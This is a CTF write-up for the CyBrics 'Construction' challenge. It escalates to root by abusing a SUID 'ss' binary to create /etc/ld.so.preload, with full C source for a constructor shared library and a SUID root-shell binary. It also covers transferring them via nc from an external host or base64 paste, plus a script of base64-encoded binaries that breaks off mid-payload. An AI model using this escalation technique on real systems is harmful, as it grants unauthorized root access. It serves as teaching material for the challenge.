Cybrics: Construction - write-up

1-write-up.md

Construction

Challenge description

Added at 14:40 UTC: to save some guessing, flag is inside the listening Python script.

Hello test subject # 49277. The next pwning room is not yet complete, so you should just wait here and not enter it until further notice.

ssh [email protected]
Password: LabRat#49277

Solution

This challenge presents us with a server and an ssh user/password in order to access it. Inside the server we see the following login message:

You can check out what process is waiting for you on a tcp port with `ss -tnlp`.
We made `ss` SUID for that, but it won’t be an issue, right?

-rwsr-xr-x 1 root root 128176 Nov 24  2017 /bin/ss

That's interesting, especially the part about ss having SUID permissions and being owned by the root user, but we'll get back to that later. We're probably inside a dockerized ubuntu system, if we use the suggested ss -tnlp command we find out about the python server running on port 7799:

testsubject@5b1c3f964202:~$ ss -tnlp
State      Recv-Q Send-Q                                       Local Address:Port                                                      Peer Address:Port              
LISTEN     0      3                                                        *:7799                                                                 *:*                  

Accessing it via nc we can see an 'under construction' message:

testsubject@33792336fad0:~$ nc localhost 7799
under construction.

The task description has an extra clue for us, revealing that the flag is actually inside the server code. We can find the file location with the ps command:

testsubject@ec50c6c2eb98:~$ ps aux | grep python
root        11  0.0  0.0  31564  9028 pts/0    S    00:50   0:00 /usr/bin/python /root/testlab.py

But we can't actually read it, because it's owned and being run by the root user:

testsubject@ec50c6c2eb98:~$ cat /root/testlab.py
cat: /root/testlab.py: Permission denied

Ok, so now we go back to the part about ss having the SUID permission set. This means that once it runs it has the same permissions as its owner, the root user. If we can get it to write/read some files with root permission, we might be able to hack this. Reading the man page we're left with two options -F which can read a filter configuration file and -D which can dump TCP socket information to a file. So let's use -D to create the /etc/ld.so.preload file and use it to load our own code with root privileges.

testsubject@4ac1851a3b5a:~$ umask 0
testsubject@4ac1851a3b5a:~$ ss -D /etc/ld.so.preload
testsubject@4ac1851a3b5a:~$ ls -al /etc/ld.so.preload 
ERROR: ld.so: object '�' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
-rw-rw-rw- 1 root testsubject 40 Jul 28 01:05 /etc/ld.so.preload
testsubject@4ac1851a3b5a:~$

Notice we use umask 0 so that the created file has open permissions for writing, because it's actually filled with the output from ss after it's first created and this does not suit us (you can see this by the preload error we'll get after every command before we set a valid preload string).

So we just need to make a custom shared lib with the exploit code, configure ld.so.preload to run it and execute ss. Since ss has the SUID for root, the preloaded lib will be run with root privileges and we'll be able to do as we please.

Based on this Exploit Database entry we can deliver our payload in 2 files:

• rootshell: will open the root shell
• libhax.so: the shared library which will be run before the root SUID binary

The server doesn't have gcc installed, so let's quickly create the files in our computer and compile them:

cat << EOF > libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o libhax.so libhax.c

cat << EOF > rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL);
}
EOF
gcc -o rootshell rootshell.c

Now we need to move these file into the challenge server, unfortunately we can't use the scp command. That leaves us to find another way of doing it, I'll suggest two:

Using nc

We could use nc to receive the files via a TCP socket. However, since we're inside a docker container and there seem to be no ports open to the outside we can't open a server and connect to it from our local machine. We instead have to setup an external server and access it from the challenge machine, so let's say you have a VPS server accessible by the name myserver.com. Inside it you could transfer the files via nc with:

$ cat rootshell | nc -l 9999; cat libhax.so | nc -l 9999

And then from inside the challenge machine:

testsubject@4ac1851a3b5a:~$ nc myserver.com 9999 > /tmp/rootshell
testsubject@4ac1851a3b5a:~$ nc myserver.com 9999 > /tmp/libhax.so

If you don't have an externally accessible server to send the files, use the next method.

Using base64 encode/decode

We can paste the file contents over to the challenge server via the ssh connection, since they're binaries though we'll need to base64 encode them. We can do as follows, in our local machine:

$ base64 libhax.so
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkAYAAAAAAABAAAAAAAAAABAZAAAAAAAAAAAAAEAAOAAH
AEAAHQAaAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlAgAAAAAAACUCAAAAAAAAAAA
IAAAAAAAAQAAAAYAAAD4DQAAAAAAAPgNIAAAAAAA+A0gAAAAAABIAgAAAAAAAFACAAAAAAAAAAAg
AAAAAAACAAAABgAAABgOAAAAAAAAGA4gAAAAAAAYDiAAAAAAAMABAAAAAAAAwAEAAAAAAAAIAAAA
...

$ base64 rootshell
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAA4AYAAAAAAABAAAAAAAAAAFAZAAAAAAAAAAAAAEAAOAAH
AEAAHQAaAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtAgAAAAAAAC0CAAAAAAAAAAA
IAAAAAAAAQAAAAYAAAD4DQAAAAAAAPgNIAAAAAAA+A0gAAAAAABQAgAAAAAAAFgCAAAAAAAAAAAg
AAAAAAACAAAABgAAABgOAAAAAAAAGA4gAAAAAAAYDiAAAAAAAMABAAAAAAAAwAEAAAAAAAAIAAAA
...

And on the challenge machine we can paste the contents as follows:

testsubject@4ac1851a3b5a:~$ echo '[PASTE ROOTSHELL BASE64 HERE]' | base64 -d > /tmp/rootshell
testsubject@4ac1851a3b5a:~$ echo '[PASTE LIBHAX.SO BASE64 HERE]' | base64 -d > /tmp/libhax.so

Either way, after you have both files in place let's get back to the /etc/ld.so.preload file. We'll change it's contents so that it loads the libhax.so file we created:

testsubject@4ac1851a3b5a:~$ echo "/tmp/libhax.so" > /etc/ld.so.preload

Now we'll run ss to trigger the exploit:

testsubject@fd58ba5ea1f4:~$ ss
[+] done!
Netid  State      Recv-Q Send-Q                                  Local Address:Port                                                   Peer Address:Port                

Now we can run our shell:

testsubject@fd58ba5ea1f4:~$ /tmp/rootshell
# 

And get the flag:

# cat /root/testlab.py
#!/usr/bin/python
import socket

sock = socket.socket()
sock.bind(('', 7799))
sock.listen(3)

while True:
    conn, addr = sock.accept()
    
    ## TODO: develop new pwning stage for our test subject
    
    conn.send("under construction.\n")
    conn.close()
    
FLAG = "cybrics{PWN3D_the_UNPWN4BLE!}"

And that's it!

do-it.sh

echo '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
88MAAEiD7AhIg8QIwwAAAAEAAgAvYmluL3NoAAEbAzswAAAABQAAAJT9//98AAAAFP7//0wAAAAK
////pAAAAHT////EAAAA5P///wwBAAAUAAAAAAAAAAF6UgABeBABGwwHCJABBxAUAAAAHAAAAMD9
//8qAAAAAAAAAAAAAAAUAAAAAAAAAAF6UgABeBABGwwHCJABAAAkAAAAHAAAABD9//9wAAAAAA4Q
Rg4YSg8LdwiAAD8aOyozJCIAAAAAHAAAAEQAAABe/v//WwAAAABBDhCGAkMNBgJWDAcIAABEAAAA
ZAAAAKj+//9lAAAAAEIOEI8CQg4YjgNFDiCNBEIOKIwFSA4whgZIDjiDB00OQHIOOEEOMEEOKEIO
IEIOGEIOEEIOCAAUAAAArAAAAND+//8CAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAIAZAAAAAAAAABkAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAwAAAAAAAAA
sARAAAAAAAANAAAAAAAAACQHQAAAAAAAGQAAAAAAAAAQDmAAAAAAABsAAAAAAAAACAAAAAAAAAAa
AAAAAAAAABgOYAAAAAAAHAAAAAAAAAAIAAAAAAAAAPX+/28AAAAAmAJAAAAAAAAFAAAAAAAAAHgD
QAAAAAAABgAAAAAAAAC4AkAAAAAAAAoAAAAAAAAAXQAAAAAAAAALAAAAAAAAABgAAAAAAAAAFQAA
AAAAAAAAAAAAAAAAAAMAAAAAAAAAABBgAAAAAAACAAAAAAAAAJAAAAAAAAAAFAAAAAAAAAAHAAAA
AAAAABcAAAAAAAAAIARAAAAAAAAHAAAAAAAAAAgEQAAAAAAACAAAAAAAAAAYAAAAAAAAAAkAAAAA
AAAAGAAAAAAAAAD+//9vAAAAAOgDQAAAAAAA////bwAAAAABAAAAAAAAAPD//28AAAAA1gNAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgOYAAAAAAA
AAAAAAAAAAAAAAAAAAAAAOYEQAAAAAAA9gRAAAAAAAAGBUAAAAAAABYFQAAAAAAAJgVAAAAAAAA2
BUAAAAAAAAAAAAAAAAAAAAAAAAAAAABHQ0M6IChVYnVudHUgNi41LjAtMnVidW50dTF+MTYuMDQp
IDYuNS4wIDIwMTgxMDI2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAEAOAJA
AAAAAAAAAAAAAAAAAAAAAAADAAIAVAJAAAAAAAAAAAAAAAAAAAAAAAADAAMAdAJAAAAAAAAAAAAA
AAAAAAAAAAADAAQAmAJAAAAAAAAAAAAAAAAAAAAAAAADAAUAuAJAAAAAAAAAAAAAAAAAAAAAAAAD
AAYAeANAAAAAAAAAAAAAAAAAAAAAAAADAAcA1gNAAAAAAAAAAAAAAAAAAAAAAAADAAgA6ANAAAAA
AAAAAAAAAAAAAAAAAAADAAkACARAAAAAAAAAAAAAAAAAAAAAAAADAAoAIARAAAAAAAAAAAAAAAAA
AAAAAAADAAsAsARAAAAAAAAAAAAAAAAAAAAAAAADAAwA0ARAAAAAAAAAAAAAAAAAAAAAAAADAA0A
QAVAAAAAAAAAAAAAAAAAAAAAAAADAA4AUAVAAAAAAAAAAAAAAAAAAAAAAAADAA8AJAdAAAAAAAAA
AAAAAAAAAAAAAAADABAAMAdAAAAAAAAAAAAAAAAAAAAAAAADABEAPAdAAAAAAAAAAAAAAAAAAAAA
AAADABIAcAdAAAAAAAAAAAAAAAAAAAAAAAADABMAEA5gAAAAAAAAAAAAAAAAAAAAAAADABQAGA5g
AAAAAAAAAAAAAAAAAAAAAAADABUAIA5gAAAAAAAAAAAAAAAAAAAAAAADABYAKA5gAAAAAAAAAAAA
AAAAAAAAAAADABcA+A9gAAAAAAAAAAAAAAAAAAAAAAADABgAABBgAAAAAAAAAAAAAAAAAAAAAAAD
ABkASBBgAAAAAAAAAAAAAAAAAAAAAAADABoAWBBgAAAAAAAAAAAAAAAAAAAAAAADABsAAAAAAAAA
AAAAAAAAAAAAAAEAAAAEAPH/AAAAAAAAAAAAAAAAAAAAAAwAAAABABUAIA5gAAAAAAAAAAAAAAAA
ABkAAAACAA4AgAVAAAAAAAAAAAAAAAAAABsAAAACAA4AwAVAAAAAAAAAAAAAAAAAAC4AAAACAA4A
AAZAAAAAAAAAAAAAAAAAAEQAAAABABoAWBBgAAAAAAABAAAAAAAAAFMAAAABABQAGA5gAAAAAAAA
AAAAAAAAAHoAAAACAA4AIAZAAAAAAAAAAAAAAAAAAIYAAAABABMAEA5gAAAAAAAAAAAAAAAAAKUA
AAAEAPH/AAAAAAAAAAAAAAAAAAAAAAEAAAAEAPH/AAAAAAAAAAAAAAAAAAAAALEAAAABABIAYAhA
AAAAAAAAAAAAAAAAAL8AAAABABUAIA5gAAAAAAAAAAAAAAAAAAAAAAAEAPH/AAAAAAAAAAAAAAAA
AAAAAMsAAAAAABMAGA5gAAAAAAAAAAAAAAAAANwAAAABABYAKA5gAAAAAAAAAAAAAAAAAOUAAAAA
ABMAEA5gAAAAAAAAAAAAAAAAAPgAAAAAABEAPAdAAAAAAAAAAAAAAAAAAAsBAAABABgAABBgAAAA
AAAAAAAAAAAAACEBAAASAA4AIAdAAAAAAAACAAAAAAAAADEBAAAgAAAAAAAAAAAAAAAAAAAAAAAA
AHUBAAAgABkASBBgAAAAAAAAAAAAAAAAAE0BAAAQABkAWBBgAAAAAAAAAAAAAAAAACsBAAASAA8A
JAdAAAAAAAAAAAAAAAAAAFQBAAASAAAAAAAAAAAAAAAAAAAAAAAAAHMBAAAQABkASBBgAAAAAAAA
AAAAAAAAAIABAAAgAAAAAAAAAAAAAAAAAAAAAAAAAI8BAAARAhkAUBBgAAAAAAAAAAAAAAAAAJwB
AAARABAAMAdAAAAAAAAEAAAAAAAAAKsBAAASAA4AsAZAAAAAAABlAAAAAAAAANcAAAAQABoAYBBg
AAAAAAAAAAAAAAAAAHkBAAASAA4AUAVAAAAAAAAqAAAAAAAAALsBAAAQABoAWBBgAAAAAAAAAAAA
AAAAAMcBAAASAA4ARgZAAAAAAABbAAAAAAAAAMwBAAASAAAAAAAAAAAAAAAAAAAAAAAAAOABAAAg
AAAAAAAAAAAAAAAAAAAAAAAAAPQBAAASAAAAAAAAAAAAAAAAAAAAAAAAAAgCAAARAhkAWBBgAAAA
AAAAAAAAAAAAABQCAAAgAAAAAAAAAAAAAAAAAAAAAAAAAC4CAAASAAAAAAAAAAAAAAAAAAAAAAAA
ALUBAAASAAsAsARAAAAAAAAAAAAAAAAAAEICAAASAAAAAAAAAAAAAAAAAAAAAAAAAFcCAAASAAAA
AAAAAAAAAAAAAAAAAAAAAABjcnRzdHVmZi5jAF9fSkNSX0xJU1RfXwBkZXJlZ2lzdGVyX3RtX2Ns
b25lcwBfX2RvX2dsb2JhbF9kdG9yc19hdXgAY29tcGxldGVkLjc1OTMAX19kb19nbG9iYWxfZHRv
cnNfYXV4X2ZpbmlfYXJyYXlfZW50cnkAZnJhbWVfZHVtbXkAX19mcmFtZV9kdW1teV9pbml0X2Fy
cmF5X2VudHJ5AHJvb3RzaGVsbC5jAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19pbml0X2Fy
cmF5X2VuZABfRFlOQU1JQwBfX2luaXRfYXJyYXlfc3RhcnQAX19HTlVfRUhfRlJBTUVfSERSAF9H
TE9CQUxfT0ZGU0VUX1RBQkxFXwBfX2xpYmNfY3N1X2ZpbmkAX0lUTV9kZXJlZ2lzdGVyVE1DbG9u
ZVRhYmxlAF9lZGF0YQBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4yLjUAX19kYXRhX3N0YXJ0
AF9fZ21vbl9zdGFydF9fAF9fZHNvX2hhbmRsZQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfY3N1X2lu
aXQAX19ic3Nfc3RhcnQAbWFpbgBzZXRnaWRAQEdMSUJDXzIuMi41AF9Kdl9SZWdpc3RlckNsYXNz
ZXMAZXhlY3ZwQEBHTElCQ18yLjIuNQBfX1RNQ19FTkRfXwBfSVRNX3JlZ2lzdGVyVE1DbG9uZVRh
YmxlAHNldHVpZEBAR0xJQkNfMi4yLjUAc2V0ZWdpZEBAR0xJQkNfMi4yLjUAc2V0ZXVpZEBAR0xJ
QkNfMi4yLjUAAC5zeW10YWIALnN0cnRhYgAuc2hzdHJ0YWIALmludGVycAAubm90ZS5BQkktdGFn
AC5ub3RlLmdudS5idWlsZC1pZAAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lv
bgAuZ251LnZlcnNpb25fcgAucmVsYS5keW4ALnJlbGEucGx0AC5pbml0AC5wbHQuZ290AC50ZXh0
AC5maW5pAC5yb2RhdGEALmVoX2ZyYW1lX2hkcgAuZWhfZnJhbWUALmluaXRfYXJyYXkALmZpbmlf
YXJyYXkALmpjcgAuZHluYW1pYwAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21tZW50AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAb
AAAAAQAAAAIAAAAAAAAAOAJAAAAAAAA4AgAAAAAAABwAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAA
AAAAAAAAIwAAAAcAAAACAAAAAAAAAFQCQAAAAAAAVAIAAAAAAAAgAAAAAAAAAAAAAAAAAAAABAAA
AAAAAAAAAAAAAAAAADEAAAAHAAAAAgAAAAAAAAB0AkAAAAAAAHQCAAAAAAAAJAAAAAAAAAAAAAAA
AAAAAAQAAAAAAAAAAAAAAAAAAABEAAAA9v//bwIAAAAAAAAAmAJAAAAAAACYAgAAAAAAABwAAAAA
AAAABQAAAAAAAAAIAAAAAAAAAAAAAAAAAAAATgAAAAsAAAACAAAAAAAAALgCQAAAAAAAuAIAAAAA
AADAAAAAAAAAAAYAAAABAAAACAAAAAAAAAAYAAAAAAAAAFYAAAADAAAAAgAAAAAAAAB4A0AAAAAA
AHgDAAAAAAAAXQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAABeAAAA////bwIAAAAAAAAA
1gNAAAAAAADWAwAAAAAAABAAAAAAAAAABQAAAAAAAAACAAAAAAAAAAIAAAAAAAAAawAAAP7//28C
AAAAAAAAAOgDQAAAAAAA6AMAAAAAAAAgAAAAAAAAAAYAAAABAAAACAAAAAAAAAAAAAAAAAAAAHoA
AAAEAAAAAgAAAAAAAAAIBEAAAAAAAAgEAAAAAAAAGAAAAAAAAAAFAAAAAAAAAAgAAAAAAAAAGAAA
AAAAAACEAAAABAAAAEIAAAAAAAAAIARAAAAAAAAgBAAAAAAAAJAAAAAAAAAABQAAABgAAAAIAAAA
AAAAABgAAAAAAAAAjgAAAAEAAAAGAAAAAAAAALAEQAAAAAAAsAQAAAAAAAAaAAAAAAAAAAAAAAAA
AAAABAAAAAAAAAAAAAAAAAAAAIkAAAABAAAABgAAAAAAAADQBEAAAAAAANAEAAAAAAAAcAAAAAAA
AAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAACUAAAAAQAAAAYAAAAAAAAAQAVAAAAAAABABQAAAAAA
AAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAnQAAAAEAAAAGAAAAAAAAAFAFQAAAAAAA
UAUAAAAAAADSAQAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAKMAAAABAAAABgAAAAAAAAAk
B0AAAAAAACQHAAAAAAAACQAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACpAAAAAQAAAAIA
AAAAAAAAMAdAAAAAAAAwBwAAAAAAAAwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAsQAA
AAEAAAACAAAAAAAAADwHQAAAAAAAPAcAAAAAAAA0AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAA
AAAAAL8AAAABAAAAAgAAAAAAAABwB0AAAAAAAHAHAAAAAAAA9AAAAAAAAAAAAAAAAAAAAAgAAAAA
AAAAAAAAAAAAAADJAAAADgAAAAMAAAAAAAAAEA5gAAAAAAAQDgAAAAAAAAgAAAAAAAAAAAAAAAAA
AAAIAAAAAAAAAAAAAAAAAAAA1QAAAA8AAAADAAAAAAAAABgOYAAAAAAAGA4AAAAAAAAIAAAAAAAA
AAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAOEAAAABAAAAAwAAAAAAAAAgDmAAAAAAACAOAAAAAAAA
CAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADmAAAABgAAAAMAAAAAAAAAKA5gAAAAAAAo
DgAAAAAAANABAAAAAAAABgAAAAAAAAAIAAAAAAAAABAAAAAAAAAAmAAAAAEAAAADAAAAAAAAAPgP
YAAAAAAA+A8AAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAO8AAAABAAAAAwAA
AAAAAAAAEGAAAAAAAAAQAAAAAAAASAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAAD4AAAA
AQAAAAMAAAAAAAAASBBgAAAAAABIEAAAAAAAABAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAA
AAAA/gAAAAgAAAADAAAAAAAAAFgQYAAAAAAAWBAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAQAAAAAA
AAAAAAAAAAAAAAMBAAABAAAAMAAAAAAAAAAAAAAAAAAAAFgQAAAAAAAAMgAAAAAAAAAAAAAAAAAA
AAEAAAAAAAAAAQAAAAAAAAARAAAAAwAAAAAAAAAAAAAAAAAAAAAAAACkGQAAAAAAAAwBAAAAAAAA
AAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAkBAAAAAAAACo
BgAAAAAAAB4AAAAvAAAACAAAAAAAAAAYAAAAAAAAAAkAAAADAAAAAAAAAAAAAAAAAAAAAAAAADgX
AAAAAAAAbAIAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA=' | base64 -d > /tmp/rootshell

echo 'f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkAYAAAAAAABAAAAAAAAAABAZAAAAAAAAAAAAAEAAOAAH
AEAAHQAaAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlAgAAAAAAACUCAAAAAAAAAAA
IAAAAAAAAQAAAAYAAAD4DQAAAAAAAPgNIAAAAAAA+A0gAAAAAABIAgAAAAAAAFACAAAAAAAAAAAg
AAAAAAACAAAABgAAABgOAAAAAAAAGA4gAAAAAAAYDiAAAAAAAMABAAAAAAAAwAEAAAAAAAAIAAAA
